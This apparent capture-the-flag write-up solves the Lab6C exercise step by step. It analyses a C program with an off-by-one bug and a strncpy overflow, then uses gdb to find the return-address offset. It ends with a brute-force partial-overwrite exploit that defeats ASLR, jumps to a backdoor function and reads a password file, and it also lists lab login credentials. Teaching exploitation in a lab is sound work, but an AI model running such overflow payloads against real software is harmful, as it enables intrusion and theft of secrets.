Lab6C Write-up (Easy)
First, log into the Lab06 as Lab6C (lab6C:lab06start
) and go to the challenges folder:
$ ssh lab6C@<VM_IP>
$ cd /levels/lab06/
In the last lab, DEP has been enabled in order to disable executable stack. Now, we need to add a new exploit mitigation feature, ASLR (or Address Space Layout Randomization).
This exploit mitigation technology is used to ensure that address ranges for important memory segments (heap, stack, libraries) are random for every execution. While we still can get control of EIP, we don’t know where we can go from there as we won’t be able to hardcode memory addresses.
First, let’s check if ASLR is enabled:
lab6C@warzone:/levels/lab06$ cat /proc/sys/kernel/randomize_va_space
0
Nope. But we can enable it until the next reboot or permanently:
- Until reboot:
echo 2 > /proc/sys/kernel/randomize_va_space
- Persist reboot:
echo 'kernel.randomize_va_space = 2' > /etc/sysctl.d/01-disable-aslr.conf
Note You will need privileges to perform the change. It can be done with the gameadmin account (gameadmin:gameadmin
).
Let’s recheck if ASLR is now enabled:
lab6C@warzone:/levels/lab06$ cat /proc/sys/kernel/randomize_va_space
2
Perfect! Let’s execute the program to see what is does.
$ ./lab6C
--------------------------------------------
| ~Welcome to l33t-tw33ts ~ v.0.13.37 |
--------------------------------------------
>: Enter your username
>>: Test
>: Welcome, Test
>: Tweet @Unix-Dude
>>: PLOP !
>: Tweet sent!
Here, we can specify a username and send a message. One of these fields is probably vulnerable…
Source Code Analysis
Let’s check the source code.
/*
Exploitation with ASLR
Lab C
gcc -pie -fPIE -fno-stack-protector -o lab6C lab6C.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct savestate {
char tweet[140];
char username[40];
int msglen;
} save;
void set_tweet(struct savestate *save );
void set_username(struct savestate * save);
/* debug functionality, not used in production */
void secret_backdoor()
{
char cmd[128];
/* reads a command and executes it */
fgets(cmd, 128, stdin);
system(cmd);
return;
}
void handle_tweet()
{
struct savestate save;
/* Initialize our save state to sane values. */
memset(save.username, 0, 40);
save.msglen = 140;
/* read a username and tweet from the user */
set_username(&save);
set_tweet(&save);
printf(">: Tweet sent!\n");
return;
}
void set_tweet(struct savestate *save )
{
char readbuf[1024];
memset(readbuf, 0, 1024);
printf(">: Tweet @Unix-Dude\n");
printf(">>: ");
/* read a tweet from the user, safely copy it to struct */
fgets(readbuf, 1024, stdin);
strncpy(save->tweet, readbuf, save->msglen);
return;
}
void set_username(struct savestate * save)
{
int i;
char readbuf[128];
memset(readbuf, 0, 128);
printf(">: Enter your username\n");
printf(">>: ");
/* Read and copy the username to our savestate */
fgets(readbuf, 128, stdin);
for(i = 0; i <= 40 && readbuf[i]; i++)
save->username[i] = readbuf[i];
printf(">: Welcome, %s", save->username);
return;
}
int main(int argc, char * argv[])
{
printf(
"--------------------------------------------\n" \
"| ~Welcome to l33t-tw33ts ~ v.0.13.37 |\n" \
"--------------------------------------------\n");
/* make some tweets */
handle_tweet();
return EXIT_SUCCESS;
}
That’s a big piece of code, we have the secret_backdoor() function which is probably the target function we need to reach, but can you see the issues which could help us to reach it? Let me help you. First, look at the savestate structure.
struct savestate {
char tweet[140];
char username[40];
int msglen;
} save;
This structure is declared as save in the handle_tweet() function and the msglen is set at 140. Nothing suspicious, yet.
void handle_tweet()
{
struct savestate save;
memset(save.username, 0, 40);
save.msglen = 140;
...[snip]...
}
However, if you check the set_username() function, we have an off-by-one error in the for loop.
void set_username(struct savestate * save)
{
...[snip]...
fgets(readbuf, 128, stdin);
for(i = 0; i <= 40 && readbuf[i]; i++)
save->username[i] = readbuf[i];
...[snip]...
}
This is due to the i <= 40
comparison, it should be i < 40
. Here, the comparison used is <= (less than or equal to), the loop will be carried out 41 times. We have our first issue, we can overwrite the msglen in our structure by using a 41-char long username.
This gives us an edge to exploit the second issue. As per the structure declaration, the char array that handle the tweet (or message) can handle 140 characters. However, if we check the set_tweet function, the strncpy() call is based on msglen.
void set_tweet(struct savestate *save )
{
char readbuf[1024];
memset(readbuf, 0, 1024);
printf(">: Tweet @Unix-Dude\n");
printf(">>: ");
fgets(readbuf, 1024, stdin);
strncpy(save->tweet, readbuf, save->msglen);
return;
}
If we can tamper the msglen variable with another value by specifying a 41-char long username, we can overwrite the EIP by asking the strncpy() function to overflow char tweet[140];
. Enough for the theory, let’s get practical.
Dynamic Analysis
First, let’s see where is our structure and how it looks like in memory. As the structure is declared in handle_tweet(), we can start here.
$ gdb -q ./lab6C
Reading symbols from ./lab6C...(no debugging symbols found)...done.
gdb-peda$ disas handle_tweet
Dump of assembler code for function handle_tweet:
0x0000077a <+0>: push ebp
0x0000077b <+1>: mov ebp,esp
0x0000077d <+3>: push ebx
0x0000077e <+4>: sub esp,0xd4
0x00000784 <+10>: call 0x600 <__x86.get_pc_thunk.bx>
0x00000789 <+15>: add ebx,0x1877
0x0000078f <+21>: mov DWORD PTR [esp+0x8],0x28
0x00000797 <+29>: mov DWORD PTR [esp+0x4],0x0
0x0000079f <+37>: lea eax,[ebp-0xc0]
0x000007a5 <+43>: add eax,0x8c
0x000007aa <+48>: mov DWORD PTR [esp],eax
0x000007ad <+51>: call 0x5a0 <memset@plt>
0x000007b2 <+56>: mov DWORD PTR [ebp-0xc],0x8c
0x000007b9 <+63>: lea eax,[ebp-0xc0]
0x000007bf <+69>: mov DWORD PTR [esp],eax
0x000007c2 <+72>: call 0x88c <set_username>
0x000007c7 <+77>: lea eax,[ebp-0xc0]
0x000007cd <+83>: mov DWORD PTR [esp],eax
0x000007d0 <+86>: call 0x7ed <set_tweet>
0x000007d5 <+91>: lea eax,[ebx-0x15d0]
0x000007db <+97>: mov DWORD PTR [esp],eax
0x000007de <+100>: call 0x560 <puts@plt>
0x000007e3 <+105>: nop
0x000007e4 <+106>: add esp,0xd4
0x000007ea <+112>: pop ebx
0x000007eb <+113>: pop ebp
0x000007ec <+114>: ret
End of assembler dump.
The structure address is placed in EAX at handle_tweet+37
. Let’s set a breakpoint here and another one on the ret
instruction at the end of the function.
gdb-peda$ break *handle_tweet+43
Breakpoint 1 at 0x7a5
gdb-peda$ break *handle_tweet+114
Breakpoint 2 at 0x7ec
gdb-peda$ run
Starting program: /levels/lab06/lab6C
Error in re-setting breakpoint 1: Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x7ec
--------------------------------------------
| ~Welcome to l33t-tw33ts ~ v.0.13.37 |
--------------------------------------------
[----------------------------------registers-----------------------------------]
EAX: 0xbfd53f38 --> 0xb76ef000 ('-' <repeats 44 times>, "\n")
EBX: 0xb7719000 --> 0x1efc
ECX: 0xb76ef000 ('-' <repeats 44 times>, "\n")
EDX: 0xb76e5898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbfd53ff8 --> 0xbfd54018 --> 0x0
ESP: 0xbfd53f20 --> 0x1
EIP: 0xb77177a5 (<handle_tweet+43>: add eax,0x8c)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb771778f <handle_tweet+21>: mov DWORD PTR [esp+0x8],0x28
0xb7717797 <handle_tweet+29>: mov DWORD PTR [esp+0x4],0x0
0xb771779f <handle_tweet+37>: lea eax,[ebp-0xc0]
=> 0xb77177a5 <handle_tweet+43>: add eax,0x8c
0xb77177aa <handle_tweet+48>: mov DWORD PTR [esp],eax
0xb77177ad <handle_tweet+51>: call 0xb77175a0 <memset@plt>
0xb77177b2 <handle_tweet+56>: mov DWORD PTR [ebp-0xc],0x8c
0xb77177b9 <handle_tweet+63>: lea eax,[ebp-0xc0]
[------------------------------------stack-------------------------------------]
0000| 0xbfd53f20 --> 0x1
0004| 0xbfd53f24 --> 0x0
0008| 0xbfd53f28 --> 0x28 ('(')
0012| 0xbfd53f2c --> 0x0
0016| 0xbfd53f30 --> 0xb76e4ac0 --> 0xfbad2a84
0020| 0xbfd53f34 --> 0xb76e4b54 --> 0xb76e3aa0 --> 0x0
0024| 0xbfd53f38 --> 0xb76ef000 ('-' <repeats 44 times>, "\n")
0028| 0xbfd53f3c --> 0xb75a7ddf (<new_do_write+63>: mov edi,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xb77177a5 in handle_tweet ()
gdb-peda$ x/64x 0xbfd53f38
0xbfd53f38: 0xb76ef000 0xb75a7ddf 0xb76e4ac0 0xb76ef000
0xbfd53f48: 0x0000002d 0xb75aab05 0x0000002d 0x0000000a
0xbfd53f58: 0xb76e5898 0xb75a9b4e 0x0000002d 0xb76e4ac0
0xbfd53f68: 0xb7717b06 0xb75aac0e 0xb76e4ac0 0x0000002d
0xbfd53f78: 0xb76e4ac0 0xb75a9e80 0xb76e4ac0 0xb76ef000
0xbfd53f88: 0x0000002d 0xb76e4000 0x00000086 0xb76e4ac0
0xbfd53f98: 0x00000086 0xb76e4000 0xb76e4ac0 0xb76e4ac0
0xbfd53fa8: 0xb76e5898 0xb75aa795 0xb76e4ac0 0x0000000a
0xbfd53fb8: 0x000000c2 0xb76e4000 0x00000086 0xb76e4000
0xbfd53fc8: 0x00000086 0xb759f794 0xb76e4ac0 0x0000000a
0xbfd53fd8: 0x00000086 0xb7539940 0xbfd54018 0xb7709500
0xbfd53fe8: 0xbfd54044 0xb7719000 0x00000000 0xb7719000
0xbfd53ff8: 0xbfd54018 0xb771798a 0xb7717a80 0xb7716000
0xbfd54008: 0xb77179ab 0xb76e4000 0xb77179a0 0xb76e4000
0xbfd54018: 0x00000000 0xb7553a83 0x00000001 0xbfd540b4
0xbfd54028: 0xbfd540bc 0xb7703cea 0x00000001 0xbfd540b4
gdb-peda$ conti
Continuing.
>: Enter your username
>>: AAAA
>: Welcome, AAAA
>: Tweet @Unix-Dude
>>: BBBB
>: Tweet sent!
...[snip]...
Breakpoint 2, 0xb77177ec in handle_tweet ()
gdb-peda$ x/64x 0xbfd53f38
0xbfd53f38: 0x42424242 0x0000000a 0x00000000 0x00000000 ; Tweet is here
0xbfd53f48: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd53f58: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd53f68: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd53f78: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd53f88: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd53f98: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd53fa8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd53fb8: 0x00000000 0x00000000 0x00000000 0x41414141 ; Name is here
0xbfd53fc8: 0x0000000a 0x00000000 0x00000000 0x00000000
0xbfd53fd8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd53fe8: 0x00000000 0x0000008c 0x00000000 0xb7719000 ; Tweet size is here (0x8c = 140)
0xbfd53ff8: 0xbfd54018 0xb771798a 0xb7717a80 0xb7716000
0xbfd54008: 0xb77179ab 0xb76e4000 0xb77179a0 0xb76e4000
0xbfd54018: 0x00000000 0xb7553a83 0x00000001 0xbfd540b4
0xbfd54028: 0xbfd540bc 0xb7703cea 0x00000001 0xbfd540b4
gdb-peda$
The address 0xbfd53f38
is our save structure. I checked it twice in gdb
, at the initialization and after inserting data.
- The message is at
0xbfd53f38
- The username is at
0xbfd53fc4
- The size of the message (or msglen) is at
0xbfd53fec
Note that these addresses will change at each execution with ASLR! Let’s exploit the first bug and overwrite the msglen with 0x7a (or z in ASCII).
gdb-peda$ run
...[snip]...
gdb-peda$ conti
Continuing.
>: Enter your username
>>: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz
>: Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz>: Tweet @Unix-Dude
>>: BBBB
>: Tweet sent!
[----------------------------------registers-----------------------------------]
EAX: 0xf
EBX: 0xb779a000 --> 0x1efc
ECX: 0xb7770000 (">: Tweet sent!\n", 'A' <repeats 37 times>, "z>: Tweet @Unix-Dude\n")
EDX: 0xb7766898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbf859f28 --> 0x0
ESP: 0xbf859f0c --> 0xb779898a (<main+40>: mov eax,0x0)
EIP: 0xb77987ec (<handle_tweet+114>: ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb77987e4 <handle_tweet+106>: add esp,0xd4
0xb77987ea <handle_tweet+112>: pop ebx
0xb77987eb <handle_tweet+113>: pop ebp
=> 0xb77987ec <handle_tweet+114>: ret
0xb77987ed <set_tweet>: push ebp
0xb77987ee <set_tweet+1>: mov ebp,esp
0xb77987f0 <set_tweet+3>: push ebx
0xb77987f1 <set_tweet+4>: sub esp,0x414
[------------------------------------stack-------------------------------------]
0000| 0xbf859f0c --> 0xb779898a (<main+40>: mov eax,0x0)
0004| 0xbf859f10 --> 0xb7798a80 ('-' <repeats 44 times>, "\n| ~Welcome to l33t-tw33ts ~ v.0.13.37 |\n", '-' <repeats 44 times>)
0008| 0xbf859f14 --> 0xb7797000 --> 0x20f34
0012| 0xbf859f18 --> 0xb77989ab (<__libc_csu_init+11>: add ebx,0x1655)
0016| 0xbf859f1c --> 0xb7765000 --> 0x1a9da8
0020| 0xbf859f20 --> 0xb77989a0 (<__libc_csu_init>: push ebp)
0024| 0xbf859f24 --> 0xb7765000 --> 0x1a9da8
0028| 0xbf859f28 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0xb77987ec in handle_tweet ()
gdb-peda$ x/64x 0xbf859e48
0xbf859e48: 0x42424242 0x0000000a 0x00000000 0x00000000
0xbf859e58: 0x00000000 0x00000000 0x00000000 0x00000000
0xbf859e68: 0x00000000 0x00000000 0x00000000 0x00000000
0xbf859e78: 0x00000000 0x00000000 0x00000000 0x00000000
0xbf859e88: 0x00000000 0x00000000 0x00000000 0x00000000
0xbf859e98: 0x00000000 0x00000000 0x00000000 0x00000000
0xbf859ea8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbf859eb8: 0x00000000 0x00000000 0xb7760000 0x0000000a
0xbf859ec8: 0x000000c2 0xb7765000 0x00000086 0x41414141
0xbf859ed8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbf859ee8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbf859ef8: 0x41414141 0x0000007a 0x00000000 0xb779a000 ; We overwrote 0x8c with 0x7a!
0xbf859f08: 0xbf859f28 0xb779898a 0xb7798a80 0xb7797000
0xbf859f18: 0xb77989ab 0xb7765000 0xb77989a0 0xb7765000
0xbf859f28: 0x00000000 0xb75d4a83 0x00000001 0xbf859fc4
0xbf859f38: 0xbf859fcc 0xb7784cea 0x00000001 0xbf859fc4
gdb-peda$
As we can see, we were able to overwrite msglen with 0x7a.
void set_tweet(struct savestate *save )
{
char readbuf[1024];
memset(readbuf, 0, 1024);
printf(">: Tweet @Unix-Dude\n");
printf(">>: ");
fgets(readbuf, 1024, stdin);
strncpy(save->tweet, readbuf, save->msglen);
return;
}
Now, we will write a proof of concept to see of we can get the control of EIP. Here, we will change the msglen with 0xfa (or 250 in decimal) to overflow the tweet[140]
member in the save structure.
gdb-peda$ pattern_create 250
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0'
gdb-peda$ r < <(python -c "print(40 * 'A' + '\xfa\n' + 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0')")
Starting program: /levels/lab06/lab6C < <(python -c "print(40 * 'A' + '\xfa\n' + 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0')")
--------------------------------------------
| ~Welcome to l33t-tw33ts ~ v.0.13.37 |
--------------------------------------------
>: Enter your username
>>: >: Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�>: Tweet @Unix-Dude
>>: >: Tweet sent!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xf
EBX: 0x41417741 ('AwAA')
ECX: 0xb7759000 (">>: >: Tweet sent!\n", 'A' <repeats 37 times>, "\372>: Tweet @Unix-Dude\n")
EDX: 0xb774f898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x79414178 ('xAAy')
ESP: 0xbfd493c0 ("%%A%sA%BA%%nA%CA%-A%(A%DA%;A%)A%EA%aA%0\n")
EIP: 0x417a4141 ('AAzA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x417a4141
[------------------------------------stack-------------------------------------]
0000| 0xbfd493c0 ("%%A%sA%BA%%nA%CA%-A%(A%DA%;A%)A%EA%aA%0\n")
0004| 0xbfd493c4 ("sA%BA%%nA%CA%-A%(A%DA%;A%)A%EA%aA%0\n")
0008| 0xbfd493c8 ("A%%nA%CA%-A%(A%DA%;A%)A%EA%aA%0\n")
0012| 0xbfd493cc ("A%CA%-A%(A%DA%;A%)A%EA%aA%0\n")
0016| 0xbfd493d0 ("%-A%(A%DA%;A%)A%EA%aA%0\n")
0020| 0xbfd493d4 ("(A%DA%;A%)A%EA%aA%0\n")
0024| 0xbfd493d8 ("A%;A%)A%EA%aA%0\n")
0028| 0xbfd493dc ("%)A%EA%aA%0\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x417a4141 in ?? ()
gdb-peda$ pattern_search
Registers contain pattern buffer:
EIP+0 found at offset: 205
EBX+0 found at offset: 197
EBP+0 found at offset: 201
Registers point to pattern buffer:
[ESP] --> offset 209 - size ~41
Pattern buffer found at:
0xb77580fc : offset 221 - size 29 (mapped)
0xbfd48fa2 : offset 221 - size 29 ($sp + -0x41e [-264 dwords])
0xbfd493ca : offset 221 - size 29 ($sp + 0xa [2 dwords])
Reference to pattern buffer not found in memory
Now, let’s edit our PoC with a proper buffer size and take control of EIP.
gdb-peda$ r < <(python -c "print(40 * 'A' + '\xfa\n' + 196 * 'B' + 'CCCC\n')")
Starting program: /levels/lab06/lab6C < <(python -c "print(40 * 'A' + '\xfa\n' + 196 * 'B' + 'CCCC\n')")
--------------------------------------------
| ~Welcome to l33t-tw33ts ~ v.0.13.37 |
--------------------------------------------
>: Enter your username
>>: >: Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�>: Tweet @Unix-Dude
>>: >: Tweet sent!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xf
EBX: 0x42424242 ('BBBB')
ECX: 0xb7736000 (">>: >: Tweet sent!\n", 'A' <repeats 37 times>, "\372>: Tweet @Unix-Dude\n")
EDX: 0xb772c898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x42424242 ('BBBB')
ESP: 0xbffc6900 --> 0xa ('\n')
EIP: 0x43434343 ('CCCC')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x43434343
[------------------------------------stack-------------------------------------]
0000| 0xbffc6900 --> 0xa ('\n')
0004| 0xbffc6904 --> 0x0
0008| 0xbffc6908 --> 0x0
0012| 0xbffc690c --> 0x0
0016| 0xbffc6910 --> 0x0
0020| 0xbffc6914 --> 0x0
0024| 0xbffc6918 --> 0x0
0028| 0xbffc691c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x43434343 in ?? ()
Okay, now we have control over EIP. The next step would be to overwrite the EIP with the address of the secret_backdoor() function and add the command we want to run to our payload. Here we can do something like this as the command we want to run will be pointed by ESP:
gdb-peda$ r < <(python -c "print(40 * 'A' + '\xfa\n' + 196 * 'B' + 'CCCC' + 'cat /home/lab6B/.pass\n')")
Starting program: /levels/lab06/lab6C < <(python -c "print(40 * 'A' + '\xfa\n' + 196 * 'B' + 'CCCC' + 'cat /home/lab6B/.pass\n')")
--------------------------------------------
| ~Welcome to l33t-tw33ts ~ v.0.13.37 |
--------------------------------------------
>: Enter your username
>>: >: Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�>: Tweet @Unix-Dude
>>: >: Tweet sent!
...[snip]...
Invalid $PC address: 0x43434343
[------------------------------------stack-------------------------------------]
0000| 0xbfb865f0 ("cat /home/lab6B/.pass\n")
0004| 0xbfb865f4 ("/home/lab6B/.pass\n")
0008| 0xbfb865f8 ("e/lab6B/.pass\n")
0012| 0xbfb865fc ("b6B/.pass\n")
0016| 0xbfb86600 (".pass\n")
0020| 0xbfb86604 --> 0xa73 ('s\n')
0024| 0xbfb86608 --> 0x0
0028| 0xbfb8660c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x43434343 in ?? ()
Now, we can check the current address of secret_backdoor() with gdb
:
gdb-peda$ disas secret_backdoor
Dump of assembler code for function secret_backdoor:
0xb77c672b <+0>: push ebp
0xb77c672c <+1>: mov ebp,esp
0xb77c672e <+3>: push ebx
...[snip]...
After a few run, due to ASLR, this address will change:
0xb77da72b
0xb778d72b
0xb77ae72b
0xb77d772b
0xb775972b
However, we can see that the address always ends with 0x72b. It means that we can try to do a partial overwrite and bruteforce a valid address!
Solution
r < <(python -c “print(40 * ‘A’ + ‘\xfa\n’ + 196 * ‘B’ + ‘\x90\x90\x90\x90\n’ + ‘cat /home/lab6B/.pass\n’)”)
lab6C@warzone:/levels/lab06$ for ((i=0; i < 20; i++)) do (python -c “print(40 * ‘A’ + ‘\xfa\n’ + 196 * ‘B’ + ‘\x2b\x07’ + ‘\n’ + ‘cat /home/lab6B/.pass\n’)”) | ./lab6C done
lab6C@warzone:/levels/lab06$ for ((i=0; i < 20; i++))
> do
> (python -c "print(40 * 'A' + '\xc6\n' + 196 * 'B' + '\x2b\x07' + '\n' + 'cat /home/lab6B/.pass\n')") | ./lab6C
> done
--------------------------------------------
| ~Welcome to l33t-tw33ts ~ v.0.13.37 |
--------------------------------------------
>: Enter your username
>>: >: Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�>: Tweet @Unix-Dude
>>: >: Tweet sent!
Segmentation fault (core dumped)
...[snip]...
--------------------------------------------
| ~Welcome to l33t-tw33ts ~ v.0.13.37 |
--------------------------------------------
>: Enter your username
>>: >: Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�>: Tweet @Unix-Dude
>>: >: Tweet sent!
p4rti4l_0verwr1tes_r_3nuff
Segmentation fault (core dumped)
Awesome!